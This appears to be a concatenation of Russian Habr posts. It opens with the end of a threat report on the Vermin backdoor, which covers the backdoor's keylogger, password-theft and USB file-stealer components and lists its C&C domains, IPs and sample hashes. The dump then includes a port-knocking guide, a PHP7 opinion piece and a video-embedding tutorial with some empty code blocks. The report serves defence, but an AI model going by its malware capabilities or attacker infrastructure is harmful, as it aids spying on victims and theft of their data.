Vermin – кастомный бэкдор, который использует только эта кибергруппа. Впервые малварь была задокументирована в [отчете Palo Alto Networks](https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/) за январь 2018 года. Бэкдор появился в середине 2016 года и все еще используется. Как и Quasar с Sobaken, он написан на .NET. Для затруднения анализа код защищен с помощью коммерческой системы защиты кода .NET Reactor или опенсорсным протектором ConfuserEx.
Кроме того, как и Sobaken, он использует Vitevic Assembly Embedder, бесплатное ПО для встраивания нужных DLL в основной исполняемый файл, которое есть в магазине Visual Studio Marketplace.
#### Функционал
Vermin – полнофункциональный бэкдор с несколькими опциональными компонентами. Последняя известная на момент написания версия (Vermin 2.0) поддерживает следующие команды, суть которых можно понять из названий:
— StartCaptureScreen
— StopCaptureScreen
— ReadDirectory
— UploadFile
— DownloadFile
— CancelUploadFile
— CancelDownloadFile
— GetMonitors
— DeleteFiles
— ShellExec
— GetProcesses
— KillProcess
— CheckIfProcessIsRunning
— CheckIfTaskIsRunning
— RunKeyLogger
— CreateFolder
— RenameFolder
— DeleteFolder
— UpdateBot
— RenameFile
— ArchiveAndSplit
— StartAudioCapture
— StopAudioCapture
— SetMicVolume
Большинство команд реализовано в основной полезной нагрузке. Лишь несколько команд и дополнительных функций – через опциональные компоненты, загружаемые атакующими на машину жертвы. В числе опциональных компонентов:
— Запись аудио
— Кейлоггер
— Кража пароля
— Кража файла с USB (USB file stealer)
#### Инструмент записи аудио (AudioManager)
Полноценный компонент Vermin, способный записывать звук с микрофона компьютера жертвы. Он принимает три команды Vermin: StartAudioCapture, StopAudioCapture и SetMicVolume. Полученные данные сжимаются с помощью кодеков Speex и загружаются в формате SOAP на C&C серверы Vermin.
#### Кейлоггер (KeyboardHookLib)
Кейлоггер в Vermin – простой отдельный исполняемый файл, который перехватывает все нажатия клавиатуры и пишет их в файл в зашифрованном виде. Также он записывает содержимое буфера и названия активных окон. Сам по себе кейлоггер не может связываться с C&C серверами Vermin; для передачи собранной информации используется основной бэкдор.
Путь к PDB в кейлоггере подтверждает связь с малварью Vermin:
`Z:\Projects\Vermin\KeyboardHookLib\obj\Release\AdobePrintLib.pdb`
#### Инструмент кражи пароля (PwdFetcher)
Отдельный компонент Vermin для кражи паролей используется для извлечения сохраненных паролей из браузеров (Chrome, Opera). Основная часть кода, похоже, скопирована из [статьи с Хабра](https://habr.com/post/134982/). Некоторые образцы также содержат код для извлечения информации из браузера Firefox, но, кажется, он не используется. Как показано на рисунке 13, этот компонент тоже содержит пути к PDB, схожие с компонентом кейлоггера, что подтверждает связь с Vermin.
*Рисунок 13. Артефакты компиляции, позволяющие связать компонент для кражи пароля с Vermin*
#### Инструмент кражи файлов с USB (UsbGuard)
`UsbGuard.exe` – опциональный компонент, используемый и Sobaken, и Vermin. Это небольшая отдельная программа, которая отслеживает подключенные к компьютеру USB-носители и копирует все файлы, которые соответствуют фильтру, настроенному атакующими. Краденые файлы затем передаются с помощью модуля основного бэкдора. В образце данного компонента обнаружено множество различных путей к PDB, что явно связывает его с Vermin.
С апреля 2018 года компонент для кражи файлов используется как отдельный инструмент. Он копирует файлы и незамедлительно загружает их на подконтрольный атакующим сервер.
В анализируемых образцах атакующие искали файлы со следующими расширениями:
— doc
— docx
— xls
— xlsx
— zip
— rar
— 7z
— docm
— txt
— rtf
— xlsm
— pdf
— jpg
— jpeg
— tif
— odt
— ods
Заключение
----------
Среди множества атак с применением вредоносного ПО, нацеленных на высокоранговые объекты на территории Украины, данная кампания не получила особого внимания. Возможно, это связано с использованием кода из открытых источников. Тем не менее, группа уже перешла к разработке собственного инструментария.
Использование нескольких семейств вредоносного ПО и механизмов заражения, включая социальную инженерию и стеганографию, на протяжении последних трех лет может быть связано с тем, что атакующие экспериментируют с методами, либо работают несколькими группами.
Успешное применение тривиальных приемов (например, отправка RAR и ЕХЕ по электронной почте) подчеркивает важность защиты от человеческого фактора.
Индикаторы компрометации (IоC)
------------------------------
### C&C-серверы
#### Sobaken C&C
`akamaicdn.ru
akamainet021.info
cdnakamai.ru
windowsupdate.kiev.ua
akamainet022.info
akamainet066.info
akamainet067.info
notifymail.ru
mailukr.net
188.227.16.73
212.116.121.46
206.54.179.160`
#### Quasar C&C
`188.227.75.189
mailukr.net
cdnakamai.ru
notifymail.ru`
#### Vermin C&C
`185.158.153.222
188.227.17.68
195.78.105.23
tech-adobe.dyndns.biz
notifymail.ru
akamainet023.info
mailukr.net
185.125.46.24
akamainet024.info
206.54.179.196`
### Передача компонентов, эксфильтрация данных
`chip-tuning.lg.ua
www.chip-tuning.lg.ua
olx.website
news24ua.info
rst.website
1ua.eu
novaposhta.website`
### SHA1
#### Vermin
`028EBDBEBAC7239B41A1F4CE8D2CC61B1E09983B
07E1AF6D3F7B42D2E26DF12A217DEBACEDB8B1B9
09457ACB28C754AA419AB6A7E8B1940201EF3FFE
0EEE92EC2723ED9623F84082DAD962778F4CF776
10128AB8770FBDECD81B8894208A760A3C266D78
131F99A2E18A358B60F09FD61EE312E74B02C07C
14F69C7BFAF1DF16E755CCF754017089238B0E7B
1509F85DE302BE83A47D5AFAD9BEE2542BA317FC
170CEE6523B6620124F52201D943D7D9CA7B95E5
191159F855A0E580290871C945245E3597A5F25C
1F12C32A41D82E978DE333CD4E93FDAA1396BE94
22B17966B597568DB46B94B253CD37CBCF561321
2C7332D8247376842BD1B1BD5298844307649C99
2E08BA5DF30C0718C1733A7836B5F4D98D84905E
2EDF808F8252A4CBCB92F47A0AEDC1AAAE79A777
360F54B33AC960EE29CA0557A28F6BB8417EF409
431FCE6A47D0A48A57F699AA084C9FF175A9D15F
45438834FDC5C690DA3BC1F60722BE86B871280D
4A8A8188E3A7A137651B24780DF37CB6F610CC19
4C1E4E136B7922F9E28D1B38E9760E28929E4F0B
5B6EA57FFC09593C3B65D903368EA5F7FAA2EB68
61D366939FE36861B2FECB38A4DFF6D86C925A00
6A72366D8AE09F72F0466FB59E8ED372F8B460D7
6FECA622B0FB282064F7DE42BA472A8EC908D0D6
70A772485C5ED330C6876FA901BA722CD44CA05E
70D97367A3DBD5D45482B6AF8C78C58B64D3F3B3
7803FD9753930522705F2B6B4E73622887892C28
7B11A84B18DC4B5F1F2826E7925F0B2DC1B936AE
889FD0BEB3197DDD6C88F5C40D6B8E4D74A892CE
9B6FBABFA2A77FA633F7A2EB352979D5C68CEBC6
A451291F17489E3A59F440A1B693D691B053C531
A53D77E55A06CF131D670339BACEC5AC0F0C6D66
A925D0AFB5D4F5FAC65543C993BE4172F1DBF329
B5F81C804E47B76C74C38DF03A5CBE8A4FE69A9A
B99DE55043099E9506B304660B8E1374787AB195
C00C104FC3E9F5977D11C67EF0C8C671D4DFC412
CA0296FA9F48E83EA3F26988401B3F4C4E655F7A
D4C6540E789BD3839D65E7EDA5CCA8832493649E
D5EDE1BBB9A12757E24BE283AFC8D746ADC4A0D4
DEFBFD98C74BEFF839EEB189F0F6C385AD6BA19B
ECF152EB6417A069573F2C7D9A35B9CC31EC8F56
EE2D40825C77C8DFEF67999F0C521919E6672A10
EF09AC6BA08A116F2C4080CBEE8CEF9523E21265
F414C49CF502D1B6CC46E08F3AC97D7846B30732`
#### Sobaken
`087F77998004207BCCFFBF3030B6789648930FA5
0A4A2BCB3EF4E19973D5C4BE4E141B665CC0BFE0
1CEEF0813C0F096E6DA5461DC4B3BF901C500C56
293DBFF0230DAB3C4C21428F90C8EF06E9F35608
37E2947BFB5FC0839087C5BCE194EC193F824C85
39525CBCA591F2A10946BA62A56E4C3382CD4FC0
3CE0A18E9A8A2B95827008DBFF16364B6FEDF361
3E869038080DAE006FF6B20DF9B0CD9CB3A5E1A1
400830AB6DD46789B00D081ADF0F82623472FB13
43F382A330A454FF83F4F35FB571ECF587A4694A
4449FBE2B28A81B760B284880ADBED43462C2030
4712AF28168FD728A13EFD520E0665FFD076B6FB
4F504D7B35660943B206D6034752C686365EA58D
53239A62E09BB0B4E49B7954D533258FEF3342C4
540292753FA0CC4ACB49E5F11FEDEA4B7DEF11D8
5589E8018DC7F934A8FDAB62670C9140AF31CAB6
57BBA7D8786D3B0C5F93BC20AB505DF3F69C72D4
630FE59D60F6882A0B9E35ED606BF06AD4BA048C
63EA7C844D86882F491812813AAAD746738A6BE9
64121FA2FD2E38AC85A911A9F7ADD8CA1E1A9820
64DBA711FDD52FECF534CAC0C6FE8848FE36F196
650AB5E674FEF431EBC8CF98141506DDC80C5E64
6EF13E9D5B0B6FCB5EB2A7439AAD7B21EA7FB7AC
7177F64362A504F3DF8AA815CEF7136D5A819C04
9B91EC03A09C4CF6DBEC637B3551BDCA11F04A9B
A26764AFB1DAC34CAA2123F7BF3543D385147024
A55319D3DBD7B9A587F5156CF201C327C803FBC9
A841FF1EE379269F00261337A043448D3D72E6FD
AAB5BAAAE8A2577E1036769F0D349F553E4D129B
ACB989B3401780999474C5B1D7F9198ECA11549A
B65372E41E7761A68AEF87001BBB698D8D8D5EC6
BDB5E0B6CA0AA03E0BECA23B46A8420473091DFF
C4421084C19423D311A94D7BB6CB0169C44CBECD
C7E76993BB419DC755BD0C04255AB88E6C77B294
CF5238C467EBE2704528EED18AB4259BFDC604E3
D2334E161A1720E2DF048E4366150729B9395144
D35FB6E031720876482E728A40532703EF02A305
D82DF2903AA4BC5FD4274B5D1BFAF9E081771628
E4B3CBCA9A53B7B93177A270C2A76F981D157C34
E585AA2C5BFB9D42D2E58DB3833330D056713B9A
F4A485696FC871307C22906701CBBB3FA522499B
F5C75450108440D0BC9E7B210F072EF25A196D20`
#### Quasar
`0A4915B81D9A9ACF4E19181DEEEBBE244430C16B
323160C88A254127D9ADB2848AE044AFFF376A4D
395166835495B418773C9690227779D592F94F71
3EE410DD50FC64F39DFF0C4EE8CC676F0F7D5A74
5B665152F6596D4412267F9C490878455BA235F9
5FE8558EB8A3C244BE2DA8BE750221B9A9EE8539
61CB5E535F0AC90A1F904EC9937298F50E2B4974
6A1CD05F07B1024287CEA400237E1EA9D2FE1678
7676AFF05A3550E5BBFF78CF4D10C9E094447D72
86165F464EC1912A43445D80559D65C165E2CF76
AB3CD05BE6B0BA8567B84D10EDE28ABF87E115AC
BFD7158E1C2F6BA525E24F85ED8CCF8EF40FD370
CFEBEFC92DCDF1687FD0BC1B50457EBDEA8672A2
D21B8514990B0CEAC5EAE687DEAA60B447139B9D`
#### Стеганография
`04DA3E81684E4963ABEC4C0F6D56DF9F00D2EF26
3C618A0C4BF4D3D24C9F2A84D191FC296ED22FA4
746155881D5AB2635566399ACC89E43F6F3DA91A
CADBC40A4EFB10F4E9BD8F4EC3742FA8C37F4231
E22CE72406B14EF32A469569FBE77839B56F2D69`
#### HTA файлы
`39F5B17471FD839CC6108266826A4AD8F6ECD6A3
751FBD034D63A5E0A3CA64F55045AE24E575384A
76433D1D13DF60EC0461ED6D8007A95C7A163FF9
89DF6A7551B00969E22DC1CAE7147447ACA10988
D6D148050F03F5B14681A1BBF457572B9401B664`
#### Инструмент записи аудио
`1F49946CA2CE51DC51615000BAA63F6C5A9961F1
98F62C2E6045D5A15D33C8383ADACF9232E5FBE3
E7C4A69EBD7B41A6AF914DD3D3F64E1AA1ABE9B4
F233A0F2997BB554D4F1A4B7AC77DAE4180850FA`
#### Кейлоггер
`21921864D2F1AB2761C36031A2E1D2C00C9B304A
3C2D0615BEF6F88FED6E308D4F45B6133080C74F
91E8346910E0E6783ACFC4F2B9A745C81BD7573A`
#### Инструмент кражи пароля
`2A5C9D4DAE5E53B2962FBE2B7FA8798A127BC9A6
9B1586766AF9885EF960F05F8606D1230B36AC15
A2F0D5AF81D93752CFF1CF1E8BB9E6CAEE6D1B5E
CE18467B33161E39C36FC6C5B52F68D49ABCFC2A`
#### Инструмент кражи файлов с USB
`050EB7D20EE8EF1E1DAEE2F421E5BF648FB645DF
069A919B3BC8070BB2D71D3E1AD9F7642D8ECF0F
0D265E0BDA9DF83815759ABCA64938EC0FF65733
0D7DF910D0FB7B100F084BFB8DFA0A9F2371171A
2FF3F5DA2960BE95E50B751680F450896AD1ED67
3200ECC7503F184F72AB9DA1DC3E1F8D43DDFD48
46D256EF277328E803D2B15CA7C188267059949D
524EE1B7269D02F725E55254A015200BB472463A
53A0EFD3D448DA8E32CFDDA5848312D3CF802B06
6FC150A9CAFA75813E7473C687935E7E4A5DCE24
70559245303F99630A27CB47B328C20C9666F0BB
7D8044A5CBEFE3B016F2132A5750C30BB647E599
8FD919D531A7A80615517E1AC13C2D0F050AF20D
9D22421DA9696B535C708178C72323F64D31FC80
BFD2DFA3D6AF31DF4B9CC2F6B31B239ADF1CECA1
C08A6222B59A187F3CF27A7BAE4CACFACC97DDEE
C2F6A65E14605828880927B9BA3C386507BD8161
C562006D2FA53B15052A4B80C94B86355CCA7427
CB43058D9EBB517832DF7058641AEDF6B303E736
CC8A9C28E884FDA0E1B3F6CEAB12805FEA17D3C1
D3CC27CA772E30C6260C5A3B6309D27F08A295CD
E7A2DE3776BA7D939711E620C7D6AB25946C9881
EE6EFA7A6A85A1B2FA6351787A1612F060086320
EF0ABB3A0CD1E65B33C0F109DD18F156FC0F0CDE
F63BE193C8A0FBB430F3B88CC8194D755BAD9CD1`
### Детектирование продуктами ESET
Большинство файлов было автоматически распознано ESET по принципу схожести с вредоносной программой. Обнаружения напрямую связаны с большинством файлов в кампании:
`MSIL/Agent AWB
MSIL/Agent AZG
MSIL/Agent AZJ
MSIL/Agent AZX
MSIL/Agent BCH
MSIL/Agent BCV
MSIL/Agent BCY
MSIL/Agent BFT
MSIL/Agent BGB
MSIL/Agent BGC
MSIL/Agent BGE
MSIL/Agent BGM
MSIL/Agent BJU
MSIL/Agent SCM
MSIL/Spy Agent BBB
MSIL/Spy Agent BIF
MSIL/TrojanDownloader Agent DYV
MSIL/TrojanDownloader Small BBM
MSIL/TrojanDropper Agent DBE
MSIL/TrojanDropper Agent DJQ
MSIL/TrojanDropper Agent DJR` | https://habr.com/ru/post/418165/ | null | ru | null |
# Защищаем систему. Или как настроить и использовать port knocking
Салам-папалам всем!
Тут озадачился как же можно сделать свой сервер более безопаснее. Использование напрямую iptables с блокировкой по IP не решало проблемы, т.к. я могу к серверу подсоединяться не только с рабочего ПК, но и издому, или с другого города, или в автобусе (когда в пробках стою).
Решил использовать [port knocking](http://en.wikipedia.org/wiki/Port_knocking).
Кто ни разу не пользовался этим, милости прошу под кат.
Для тех кто не в теме кратко скажу: это демон, который «слушает» сетевой интерфейс и если «услышал», что идут запросы на 7000,8000,9000 порт, то добавляет разрешающее правило для вашего IP на определённый заранее вами порт. Она просто выполняет команду на разрешение или запрещение доступа в iptables.
Итак, я захотел прикрыть от всех ssh.
Сперва установим сам демон (для тестов я использовал свой рабочий ПК на Ubuntu):
```
sudo apt-get install knockd
```
Для CentOS можно установить так:
```
sudo rpm -Uhv http://pkgs.repoforge.org/knock/knock-0.5-3.el6.rf.x86_64.rpm
```
Далее нам надо отредактировать конфиг этого демона ( /etc/knockd.conf ):
```
[options]
UseSyslog
[openSSH]
sequence = 7000:tcp,8000:tcp, 9000:udp
seq_timeout = 5
command = /sbin/iptables -I INPUT 1 -s %IP% -d ВАШ_IP_ГДЕ_ХОТИТЕ_ОТКРЫТЬ_ДОСТУП -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9000:udp,8000:tcp,7000:tcp
seq_timeout = 5
command = /sbin/iptables -D INPUT -s %IP% -d ВАШ_IP_ГДЕ_ХОТИТЕ_ПРИКРЫТЬ_ДОСТУП -p tcp --dport 22 -j ACCEPT
tcpflags = syn
```
Затем перезапускаем демон:
```
sudo /etc/init.d/knockd restart
```
Далее, добавляем запрещающее правило для всех на 22-ой порт:
```
sudo iptables -A INPUT -s 0/0 -d ВАШ_IP_ГДЕ_ХОТИТЕ_ПРИКРЫТЬ_ДОСТУП -p tcp --dport 22 -j REJECT
```
В секции **[openSSH]** обратите внимание на строчки **-I INPUT 1**. Если мы просто напишем вместо этого **-A INPUT**, то оно будет добавляться в конец цепочки правил, и следовательно будет срабатывать только самое верхнее правило. Поэтому мы пишем так, что бы запрещающее правило было добавлено в конец.
**sequence** указывает на то, какими последовательностями портов мы будем открывать себе доступ. Обязательно укажите на своё.
Можно еще указать протокол, допустим так: 7000:udp, 8000:udp, 9000:tcp
**tcpflags** — тут мы указываем какие заголовки должны содержаться в передаваемых пакетах.
В секции **[closeSSH]** указываем обратную последовательность для закрытия 22-го порта. И там же команда на удаление вашего IP из списка разрешенных.
Теперь встаёт вопрос: как же послать эту волшебную последовательность на порты?
[С сайта разработчика](http://www.zeroflux.org/projects/knock/) можно скачать программу для популярных платформ. Там же можно увидеть другие примеры использования.
В Windows я пользовался так: скачал, распаковал. Открыл командную строку,
```
cd ПУТЬ_ДО_ПАПКИ_С_ПРОГРАММОЙ
knock 192.168.0.1 7000:tcp 8000:tcp 9000:udp
```
Всё, открыли порт. Теперь мы можем заходить по SSH!
Если хотите для другого протокола это использовать, то таким же способом напишите секцию **[openFTP]**, **[closeFTP]** с теми же правлами, только порты поменяйте на нужное и всё.
Минусы этой штуки в том, что надо дополнительную прогу использовать прежде чем подсоединиться. Но, мне кажется, что ради безопасности потерпеть можно.
Всем безопасности! | https://habr.com/ru/post/194412/ | null | ru | null |
# Революция PHP7: Типы возвращаемых значений и удаление артефактов
Планируемая дата выпуска PHP7 стремительно приближается, внутренняя группа усиленно работает, пытаясь исправить наш любимый язык, сделать его как можно лучше, будут удалены артефакты прошлых версий и добавлено несколько столь желанных фич. Есть много RFC, которые можно изучить и обсудить, но в этом посте я хотел бы сосредоточиться на трех самых важных.
#### PHP 5.7 vs. PHP7
Как я уже говорил в [прошлом письме](http://sitepointnewsletters.cmail1.com/t/ViewEmail/y/494CA3DDEF91C214), 5.7 был отклонен в пользу перехода непосредственно к PHP7. Это означает, что не будет новой версии между 5.6 и 7 — даже если она и появилась бы, то просто служила бы сигналом тем, кто все еще погряз в устаревшем коде. Первоначально, 5.7 не должна была иметь новые функции, но должна была выбросить уведомления и предупреждения об устаревании кода, который скоро изменится в v7.
Также необходимо предупредить о некоторых ключевых словах, которые будут зарезервированы в PHP7, чтобы люди могли быстро привести свой код в соответствие с помощью какой-нибудь «автоматической» проверки совместимости версий PHP. Однако, как я писал в рассылке, большинство людей, которые достаточно компетентны, чтобы соблюдать совместимость своего кода с последней версией PHP, на самом деле и не используют конструкции, которые может сломать PHP7.
Обратите внимание, что пока [голосование](https://wiki.php.net/rfc/php57) неоднозначно, это говорит о том, что идея окончательно не похоронена. Участники высказываются против 5.7 из-за отсутствия значительных изменений, но с учетом новых голосов на других RFC, они вполне могут изменить свое решение. Давайте посмотрим что произойдет.
#### Типы возвращаемого значения *(Return Types)*
С подавляющим большинство голосов «за», PHP, наконец, получил типы возвращаемых значений. Результаты [голосования](https://wiki.php.net/rfc/return_types) еще свежи, но определенны. Начиная с PHP7, мы, наконец, сможем указать правильный тип возвращаемых значений функции:
```
function foo(): array {
return [];
}
```
Улучшение? Однозначно!!! Но идеальное ли? К сожалению, нет:
* возвращаемыми могут быть лишь те типы, которые *есть на данный момент*…
не будет возможности вернуть скалярные значения, такие как `string`, `int`, `bool` и др. Это означает, что ваши методы и функции, которые возвращают подобные значения по-прежнему останутся в исходном состоянии.
Вы можете это исправить путем возврата экземпляров обертки для подобных значений, но это будет ненужным извращением в большинстве случаев. *(прим. пер. — самое время обратить внимание на одно из предыдущих начинаний — [преобразование примитивов в нормальные объекты](http://habrahabr.ru/post/240561/))*
* нельзя будет определить возврат нескольких типов. Если ваша функция возвращает либо массив либо объект `Iterator`, то нет никакого способа указать это, например, `array|Iterator` как мы делаем в doc-блоках.
Некоторые люди также жаловались на объявления типа после закрывающей скобки списка аргументов, а не перед именем функции, но для меня это придирки. Популярные языки, такие как современный C++, используют “пост”-синтаксис, при этом сохраняется возможность поиска «function foo» без какой-либо необходимости прибегать к regex-модификациям. Более того, это согласуется с тем, что использует HHVM, таким образом получается непредвиденный бонус в совместимости.
[Другие](http://www.reddit.com/r/PHP/comments/2sdxlm/php7_return_types_rfc_ongoing_vote/cnooct9) жаловались на «строгость» PHP, но, как заявил один из комментаторов, вы действительно должны знать что хотите получить еще до начала кодирования, через интерфейсы и наследование чужого кода. Кроме того, пока указание возвращаемых типов необязательно, и его наличие никак не влияет на общую производительность или стабильность PHP, не нужно раздувать из этого проблему. Жаловаться на такую фичу, все равно что жаловаться на наличие ООП в PHP в те времена, когда процедурные спагетти были хорошим способом решить задачу. Языки эволюционируют, и это один из шагов в правильном направлении.
А что думаете вы?
#### Удаление артефактов
Предстоящая версия предлагает [удалить стилистические конструкции PHP4](https://wiki.php.net/rfc/remove_php4_constructors) (еще не голосовали). Вы можете прочитать и разобраться в этом RFC, это просто, и было бы бесполезно повторять еще раз — язык идет вперед. Мне не понятно почему такой шаг вызывает СТОЛЬКО душевных мук у некоторых людей. Например, [тут](http://www.tonymarston.net/php-mysql/please-do-not-break-our-language.html): «Пожалуйста, не разрушайте наш язык», — просит Тони, который, похоже, с определенным умыслом использует удаляемый функционал.
Пост очень хорошо написан и, несмотря на очевидный гнев, заставляет меня задаться вопросом — если у вас такая кодовая база живет настолько долго, то стоит ли вообще обновляться до PHP7? И если уж настолько хочется, то стоит ли тащить все это с собой, разве не проще выявить поломанные классы и исправить их конструкторы? Вы даже можете делегировать эту задачу джуниорам, при условии достаточного покрытия кода тестами вы всегда сможете убедиться, что ничего не сломалось. И даже если тестов нет, если ваше приложение — это кусок кода непонятного качества, то вы действительно надеетесь получить выгоду от переезда на PHP7? Не лучше ли [обновить ваше приложение](http://www.sitepoint.com/modernizing-legacy-applications-php-review/) в первую очередь?
Приговор *«код, который я написал 10 лет назад, по-прежнему должен запускаться сегодня и должна быть возможность выполнить его через 10 лет»* — для меня безумие — вы, безусловно, не должны ожидать подобного ни от одного популярного языка в рамках перехода от одной основной его версии к другой. Проведите параллель с реальным миром, вы не должны ожидать разрешения иметь рабов сегодня, только потому, что когда-то давно закон это разрешал. Да, был кровавый переход, но когда большинство сторонников рабства либо покаялись либо умерли, настал мир.
Стоит отдать должное Тони, он прав в том, что отстаивает свое мнение и прилагает большое количество усилий, чтобы его твердое «нет» было услышано. Но в долгосрочной перспективе это займет больше коллективных усилий по устранению проблем с конструкторами, чем если просто избавиться от проблемы прямо сейчас.
Понятно, сломанная совместимость всегда огорчит некоторых людей, даже если в рамках основных версий все останется нормальным, нарушать совместимость необходимо для целей прогресса. Представьте себе вой, который поднимется, когда подобные люди узнаю об [этом](https://wiki.php.net/rfc/remove_deprecated_functionality_in_php7). Блин, если бы в прошлом году не был бы обновлнен `mysqli` заместо `mysql`, то либо WordPress не смог бы корректно работать на PHP7, либо PHP7 был бы дырявым и безнадежно устаревшим по той единственной причине, что core-разработчики пожалели пользователей WP и решили оставить их счастливыми.
Мой совет тем, кто опасается PHP7 — стоп. Если вы не хотите обновляться, то и не делайте этого. Если вы сидели на 5.3 или 5.2 так долго (привет, любители CodeIgniter), то посидите на 5.6 еще десяток лет, не мешайте PHP быть современным. Оставьте прогресс для тех, кто готов принять его.
Что думаете вы по этому поводу? Вся эта затея с удалением артефактов бред или действительно нужный шаг?
#### В сторону: изменения Extension API
В качестве интересной заметки на полях, есть *некоторые* изменения в PHP7, которые могут стать причиной небольшой задержки с портированием расширений на версию 7. API для создания расширений попало под рефакторинг (чистку) и все может поменяться, тем не менее этот провакационный твит от Sara Golemon собрал немного внимания.
> Damn. There are some serious surprises in the PHP7 Extension API changes. Not for nothin’, but it’s a good time to switch to HHVM.
>
> — SaraMG (@SaraMG) [January 3, 2015](https://twitter.com/SaraMG/status/551240819819433984)
>
>
Она в основном говорит о том, что изменения в создании расширений при переходе от 5.6 до 7 будет настолько большими, что проще узнать как делать расширения под HHVM. А затем она продолжает развивать тему серией статей на тему [как создать HHVM extension](http://blog.golemon.com/2015/01/hhvm-extension-writing-part-i.html).
Вы разрабатываете расширения? Изучали ли вы изменения и как вы относитесь к всему этому, не слишком ли рано сейчас говорить о будущем эффекте?
**Edit**: Мое внимание обратили на то, что Сара уже после всего этого [начала документировать](http://article.gmane.org/gmane.comp.php.devel/93164) новое API расширений, совместимое и с HHVM и с PHP7. Похоже, можно делать расширения, совместимые с обоими рантаймами!
#### Вывод
Как обычно, недостатка в драме PHP-мир не испытывает. Как и во всех крупных революциях, на протяжении всей истории PHP7 также будет проливаться кровь, прежде чем произойдет что-то удивительное. PHP7 еще далек, так что даже если вы попали под перекрестный огонь мушкетных выстрелов, есть достаточно времени, чтобы добраться до выхода. Если ты [спишь под гусеницей танка](http://www.tonymarston.net/php-mysql/please-do-not-break-our-language.html), то обе стороны могут мало что сделать, чтобы помочь тебе.
Что вы думаете об этих RFC? Как вы относитесь PHP7 в целом? Движется ли он в правильном направлении? Дайте нам знать — мы хотим услышать ваши мысли! | https://habr.com/ru/post/248721/ | null | ru | null |
# Как отображать потоковое видео с помощью HTML5
В этой статье я объясню и покажу как сделать видео трансляцию на вашем сайте. Недавно меня наняли с целью реализовать данный функционал для клиента. Я посоветовал реализовать это с помощью HTML5 для mp4 видео форматов и flash для его .flv файлов.
Основы
------
Тем кто хочет реализовать видео стриминг для начала нужно ознакомиться с тем какие есть видео форматы и что может, а что не может быть воспроизведено. Существует большое количество видео форматов таких как: .flv, .mp4, .swf и другие. Рассмотрим .flv и .swf, которые являются файлами flash формата. Эти два формата не могут быть воспроизведены с помощью HTML5. Напротив MP4 может проигрываться с помощью HTML5 без flash плеера.
Вы можете найти много статьей и туториалов в сети на тему стриминга .swf и .flv файлов. Обратите внимание на то что .swf плеер не будет воспроизводить .flv файлы. Они оба flash но с разными требованиями. В сети много противоречивой информации на данный счет. Вы лишь потратите свое время пытаясь заставить .swf запустит .flv но в итоге удостоверитесь что это невозможно.
Как реализовать .mp4 в HTML5:
-----------------------------
```
```
Пару вещей которые стоит запомнить:
* Видео нужно присвоить id
* Нужно добавить расширение файла в source.
* Если вы хотите открыть для пользователя доступ к панели управления тогда разместите тэг controls.
* Нужно разместить полный URL файла в source. Пример: [www.mysite.com/video/myvideo.mp4](http://www.mysite.com/video/myvideo.mp4)
HTML5 воспроизводит аудио и видео. Вам просто нужно указать тип файла.
Есть интересный момент, когда речь идет о воспроизведении видео в полноэкранном режиме. По умолчанию, большинство браузеров отключают эту функцию, но вы можете обойти это, вставив следующий JavaScript код:
```
var elem = document.getElementById('player');
if (elem.requestFullscreen) {
elem.requestFullscreen();
} else if (elem.mozRequestFullScreen) {
elem.mozRequestFullScreen();
} else if (elem.webkitRequestFullscreen) {
elem.webkitRequestFullscreen();
} ;
```
Причиной того что видео не работает на сайте может быть отсутствие доступа к серверу, некорректное имя файла, не полный исходный URL или просто Apache (если вы используете его), не распознает тип расширения или тип mime.
Настройка Apache Web Server
---------------------------
Вам нужно добавить mime типы в расширение, либо в файл apache.conf или в mime.conf. После внесения измененный перезапустите сервер.
Вот и все. После этого у вас появится возможность транслироваться видео из сайта. Но помните, существуют ограничения на форматы в HTML5, это могут быть .swf или shockwave flash или .flv.
Как реализовать с flash
-----------------------
В сети много различной информации, где большая часть будет о реализации воспроизведения .swf или Shockwave flash формат, используя что-то вроде SWFObject. Вкратце, SWFObject это JavaScript библиотека, которая позволит вам проигрывать только .swf форматы и больше она ничего не делает.
Чтобы реализовать трансляцию для .swf файлов нужно:
1. Загрузить SWFObject из Git или с других источников.
2. Разместить его на странице:
```
swfobject.registerObject("myFlashContent", "9.0.0", "expressInstall.swf");
```
Этот код должен быть размещен в шапке файла.
3. Вы можете реализовать его с помощью тэга Object tag или:
```
swfobject.embedSWF("YourContentLocation.swf", "myContent", "300", "120", "9.0.0");
```
4. Теперь вам нужно прописать следующее:
```
Alternative content
```
5. Это запустит .swf файл на вашей странице. Вы можете управлять многими параметрами, с помощью следующего кода:
```
var params = {
allowScriptAccess: "sameDomain",
allowFullScreen: "true",
wmode: "opaque",
quality: "high",
menu: "false"
};
```
FlowPlayer
----------
Если у вас есть много видео, которые сделаны с использованием flash и они в формате .flv, то вам необходимо создать flash плеер. Есть много видео-плееров и услуги, которые доступны по разным ценам. Я выбрал FlowPlayer. Он на рынке достаточно давно и уже обзавелся большим сообществом.
Есть несколько вариантов для реализации FlowPlayer. FlowPlayer.org имеет две версии: флэш-плеер под названием Flowplayer flash и HTML5 implementation. Вторая имеет бесплатный вариант для разработчиков, в то время как для flash нужно купить лицензию.
Flash Flowplayer имеет необходимые файлы для воспроизведения файлов .flv, в то время как, HTML5 плеер стандартные форматы HTML5 файлов (MP4). Итак, почему стоит выбрать версию HTML5? Она предлагает довольно много вещей, с которыми можно заставить ваш плеер делать вещи без самостоятельного программирования. Все зависит от ваших потребностей.
Некоторые встраивают плеер на сайт в то время как хостинг видео находится в другом месте. Мы же встроим видео плеер в наш сайт и разместим файлы локально. Для этого нужно:
1. Убедиться, что следующие файлы загружены:
* flowerplayer-3.2.x.min.js -> есть более поздние версии, так что вам нужно будет загрузить последнюю, если это не сработает вернуться к .12/.13
* flowplayer-controls-3.2.15.swf
* flowplayer-3.2.16.swf
2. В шапку HTML нужно добавить следующее:
```
```
3. В теле вашей веб-страницы, вам нужно установить плеер с src файлом:
```
```
В этом примере я использовал переменную, основанную на выборе пользователя из предыдущей страницы.
Убедитесь что вы используете полный URL файла: [yourwebsite.com/yourfilelocation/nameofyourfile.flv](http://yourwebsite.com/yourfilelocation/nameofyourfile.flv)
Не то, что вы создали файл и идентификатор нам нужно установить вверх код, который на самом деле запускает файл.
Вы добавили файл и id, теперь нужно прописать код который запустит файл:
```
flowplayer("player", "../private/flowplayer-3.2.16.swf");
```
Итог
----
